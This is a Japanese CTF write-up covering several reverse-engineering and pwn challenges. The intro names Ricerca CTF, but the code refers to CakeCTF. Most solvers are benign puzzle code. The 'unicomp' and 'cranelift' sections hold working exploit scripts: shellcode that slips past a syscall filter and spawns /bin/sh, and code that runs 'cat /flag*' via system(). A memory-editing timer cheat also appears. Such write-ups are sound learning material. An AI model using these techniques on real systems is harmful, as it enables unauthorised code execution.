2023/4/22に行なわれたRicerca CTF 2023にHackingForSushiで参加して、24位でした。
一人チームだし時間もあまりなかったのでrev問+変そうなやつ縛りで解きました。丁度よい難易度で解いていて楽しかったです。
解いた問題
nande
微妙に違う気がしつつも、とりあえず途中でflagが出たので適当に済ませています。
answer = [0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00] in_ = [0] * 0x100 out_ = answer for rnd in range(0x1234): in_[0xff] = out_[0xff] ^ 1 for i in range(0xff-1, -1, -1): in_[i] = out_[i] ^ out_[i+1] out_ = in_ bits = '' for x in out_: bits += str(x) res = int(bits[::-1], 2).to_bytes(32, 'little') if b'CakeCTF' in res: print(res)
Cake Puzzle
左上が空白マスの15パズル。すぐに動かせそうなソルバは落ちてなさそうだったので手で解く用のコードを書きました。配列の要素を入れ替えるときの操作を書くのが面倒そうにも見えますが、GitHub Copilotが埋めてくれました。ありがたい。
import curses M = [0x445856DB, 0x4C230304, 0x0022449F, 0x671A96B7, 0x6C5644F7, 0x7FF46287, 0x6EE9C829, 0x5CDA2E72, 0x00000000, 0x698E88C9, 0x33E65A4F, 0x50CC5C54, 0x1349831A, 0x53C88F74, 0x25858AB9, 0x72F976D8] numbers = {} for i, x in enumerate(sorted(M)): numbers[x] = i x = 0 y = 2 moves = [] screen = curses.initscr() def print_map(): for i, x in enumerate(M): screen.addstr('%2d ' % numbers[x]) if i > 0 and (i + 1) % 4 == 0: screen.addstr('\n') screen.refresh() def move(): global x, y c = screen.getch() screen.erase() if c == ord('k'): if y <= 0: return False [M[4*y+x], M[4*(y-1)+x]] = [M[4*(y-1)+x], M[4*y+x]] y -= 1 moves.append('U') return True elif c == ord('j'): if y >= 3: return False [M[4*y+x], M[4*(y+1)+x]] = [M[4*(y+1)+x], M[4*y+x]] y += 1 moves.append('D') return True elif c == ord('h'): if x <= 0: return False [M[4*y+x], M[4*y+x-1]] = [M[4*y+x-1], M[4*y+x]] x -= 1 moves.append('L') return True elif c == ord('l'): if x >= 3: return False [M[4*y+x], M[4*y+x+1]] = [M[4*y+x+1], M[4*y+x]] x += 1 moves.append('R') return True return False while True: if M == sorted(M): break print_map() move() curses.endwin() print(''.join(moves))
最終的な手で出した答え:
RRLUULDRRULDRULDLURLDDRLDRULDRLURDURDLURRDLURULLDDRULUURDLURDLRDLLUURLDRLUDDRRUULLDRRLLDRUULDDDRUUDDLURULDDRULURLDRLURLDURDLURDULDDRUUULRRRDLLDRRULURDULLDDRRULDURULLDDRULDRUULDDRULDRLLURRRLULLDRRULLDRRULDLURLDRULDRRULDDRUULDLDRRULURLLDRLURRRLLDRLLURLDRRULDLURDRRULLDRRULLL
unicomp
first bloodでした。syscall numberがチェックされるのは\x0f\x05
の命令のみなので、cs syscall
のようなCS prefixをつけた命令を使うことで任意のsyscallを実行できるようになります。ただし、syscall自体はpythonのlibc.syscall
経由で呼ばれるのでメモリマップ自体は別で、よくあるスタック上に文字列を置いて/bin/shを実行するようなシェルコードはそのままは動きません。mmapでメモリを確保しておいて、そこにreadで/bin/sh\0
を書き込んでおき、execveを実行するようにしました。
import binascii from pwn import * context.update(os='linux', arch='amd64', log_level='info') p, u = pack, unpack REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' if REMOTE: host, port = 'others.2023.cakectf.com 10001'.split() port = int(port) else: host, port = '127.0.0.1 4000'.split() port = int(port) sc = asm(''' mov rdi, 0x10000000 mov rsi, 0x10000 mov rdx, 7 mov r10, 0x22 mov r8, -1 mov r9, 0 mov rax, 0x09 # mmap cs syscall mov rdi, 0 mov rsi, 0x10000000 mov rdx, 0x1000 mov rax, 0 cs syscall xor rax,rax push rax pop rsi push rax pop rdx mov rdi, 0x10000000 mov al,0x3b cs syscall ''') print(disasm(sc)) with open('sc', 'wb') as f: f.write(binascii.hexlify(sc)) with open('sc.bin', 'wb') as f: f.write(sc) s = remote(host, port) s.recvuntil(b'shellcode: ') s.send(binascii.hexlify(sc) + b'\n') time.sleep(0.1) s.send('/bin/sh\0') s.interactive('')
cranelift
toy languageは文字列を渡すことはできなさそうなので(たぶん)、方針としてはunicompの解き方と似たように、mmapしてそれに対してmemsetで1文字ずつ書き込み、systemを実行するようにしました。
from pwn import * context.update(os='linux', arch='amd64', log_level='info') p, u = pack, unpack REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' if REMOTE: host, port = 'others.2023.cakectf.com 10000'.split() port = int(port) else: host, port = '127.0.0.1 4000'.split() port = int(port) s = remote(host, port) s.recvuntil(b'\n') memset = '' cmd = 'cat /flag*\0' for i, c in enumerate(cmd): memset += f'memset({65536+i}, {ord(c)}, 1)\n' src = f''' fn main() -> (r) {{ mmap(65536, 100, 7, 34, 0, 0) {memset.strip()} system(65536) }} __EOF__ '''.lstrip() print(src) with open('src', 'w') as f: f.write(src) s.send(src.encode()) s.interactive('')
imgchk
大まかな処理としては、480x20の画像を読み込んで、3バイトずつMD5の計算して結果を比較しています。適当に試していると、3バイトずつで取ってきているのは縦の20ピクセル分(8+8+4)ずつだと分かるのであとは画像に戻すだけです。
import hashlib from PIL import Image answer = [0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5037, 0x5048, 0x5059, 0x5059, 0x5048, 0x5037, 0x506A, 0x5004, 0x5004, 0x507B, 0x508C, 0x509D, 0x50AE, 0x50BF, 0x50D0, 0x50E1, 0x50F2, 0x5103, 0x5004, 0x5004, 0x5004, 0x5004, 0x5114, 0x5125, 0x5136, 0x5147, 0x5158, 0x5169, 0x517A, 0x518B, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5037, 0x5048, 0x5059, 0x5059, 0x5048, 0x5037, 0x506A, 0x5004, 0x5004, 0x51F1, 0x51F1, 0x51F1, 0x51F1, 0x5202, 0x5202, 0x51F1, 0x51F1, 0x51F1, 0x51F1, 0x5004, 0x5004, 0x5202, 0x5202, 0x5213, 0x5213, 0x5213, 0x5213, 0x5213, 0x51F1, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5224, 0x5125, 0x5235, 0x5246, 0x5257, 0x5268, 0x5004, 0x5004, 0x5004, 0x5279, 0x5279, 0x5279, 0x528A, 0x5202, 0x529B, 0x52AC, 0x52AC, 0x52AC, 0x52BD, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5004, 0x5466, 0x5477, 0x5488, 0x5499, 0x5499, 0x5488, 0x54AA, 0x54BB, 0x5004, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x51F1, 0x51F1, 0x5565, 0x5576, 0x5587, 0x5598, 0x55A9, 0x55BA, 0x55CB, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x55DC, 0x52F0, 0x518B, 0x518B, 0x52F0, 0x55DC, 0x55ED, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5004, 0x55FE, 0x560F, 0x5620, 0x5631, 0x5642, 0x5653, 0x5488, 0x51AD, 0x519C, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5279, 0x5279, 0x5279, 0x528A, 0x5202, 0x529B, 0x52AC, 0x52AC, 0x52AC, 0x52BD, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x5004, 0x5664, 0x5675, 0x5521, 0x5686, 0x5697, 0x56A8, 0x56B9, 0x56CA, 0x56DB, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x5004, 0x56EC, 0x56EC, 0x56FD, 0x5202, 0x5202, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5004, 0x5268, 0x570E, 0x571F, 0x5730, 0x5741, 0x5224, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004] hash = {} src = open('imgchk', 'rb').read() for i in range(0, 0x5752-0x5004, 17): addr = 0x5004+i hash[addr] = src[addr:addr+16] def bruteforce(): hash_table = {} for i in range(0xff+1): for j in range(0xff+1): for k in range(0xf+1): h = hashlib.md5() h.update(bytes([i, j, k])) hash_table[h.digest()] = [i, j, k] result = {} for h in hash.values(): result[h] = hash_table[h] return result hash_to_bytes = bruteforce() im = Image.new('1', (480, 20), ) i = 0 for a in answer: for k, b in enumerate(hash_to_bytes[hash[a]]): for j in range(8 if k < 2 else 4): x = i // 20 y = i % 20 if x == 480: break im.putpixel((x, y), (b >> j) & 1) i += 1 im.save('flag.png')
出力される画像:
Gaming VM
"q3vm disassembler"で検索すると https://github.com/brugal/q3vm があったのでこれで読みます。一部のsyscallはunknown functionと表示されますが、これはオリジナル版にはなく(?)、バイナリを読むとmemsetやreadする実装に対応するのが分かります。
とりあえずgdbで動かしながら適当なVMの命令に相当するところでbreakしつつ値を見てみるのを試していたところ、goto_OP_EQでほぼflagの比較がされていそうなことに気づきました。ブルートフォースするスクリプトを書きつつ、途中で調整が必要なところは面倒になってgdbを動かしつつ手で求めました。
import gdb e = lambda c: gdb.execute(c, to_string=True) p = lambda x: gdb.parse_and_eval(x) e('set pagination off') e('file ./q3vm') e('b *0x0000555555557364') # goto_OP_EQ flag = [chr(0x20+i) for i in range(33)] flag = list('CakeCTF{A_s1mpl3_VM_wr1tt3n_f0r_Quake_III}') # 手で埋めていく def write_flag(): with open('in', 'w') as f: f.write('CakeCTF{' + ''.join(flag).ljust(33, '\0') + '}\n') def brute(): write_flag() e('r flag.qvm < in') e('c 0x2a') e('c 2') while True: ecx = p('$ecx') eax = p('$eax') print(ecx, eax) if ecx != eax: idx = flag.index(chr(eax ^ 7)) print(idx) flag[idx] = chr(ecx ^ 7) print(''.join(flag)) write_flag() return e('c') for i in range(33): brute()
Word Tower
適当にメモリ上を検索すると、出題される単語の一覧が見えるのでそこからソルバが書けます。ステージ2まではソルバと手で解けますが、ステージ3は制限時間が30秒なのでさすがにそのままでは無理です。
from typing import Optional # having_letters, word_n = 'bbroeaitxfgitr', 3 # having_letters, word_n = 'kafhaaaleoercpspsghr', 4 having_letters, word_n = 'earrabarkwtpdiaapdkoucsovhst', 5 having_letters = having_letters.lower() words = open('words').read().splitlines() search_candidates_memo = {} def search_candidates(having_letters: str): if having_letters in search_candidates_memo: return search_candidates_memo[having_letters] candidates = [] for word in words: word_letters = list(word) having_letters_list = list(having_letters) ok = True for wl in word_letters: if wl not in having_letters_list: ok = False break del having_letters_list[having_letters_list.index(wl)] if ok: candidates.append(word) search_candidates_memo[having_letters] = candidates return candidates def dfs(having_letters: str, word_n: int, result: Optional[list[str]] = None): if result is None: result = [] if word_n == 0 and len(having_letters) == 0: return result candidates = search_candidates(having_letters) for candidate in candidates: having_letters_list = list(having_letters) for cl in candidate: del having_letters_list[having_letters_list.index(cl)] result = dfs(''.join(having_letters_list), word_n - 1) if result is not None: return result + [candidate] return None print(dfs(having_letters, word_n))
ステージごとの制限時間を書き換えられるならステージ3でも手で解けるはず、という気持ちでCheat Engineを使ってメモリ上にその値がないか検索してみます。制限時間はステージ1では180秒、ステージ2では120秒なので、その値のように変化するメモリがあればあやしいはずです。ちょうどそのようなメモリがあったので、ステージ3のスタート前に値を書き換えたところ、無事制限時間を延ばすことができました(値が大きすぎるとチート検知されます)。あとはソルバの結果を手で入力して終わりです。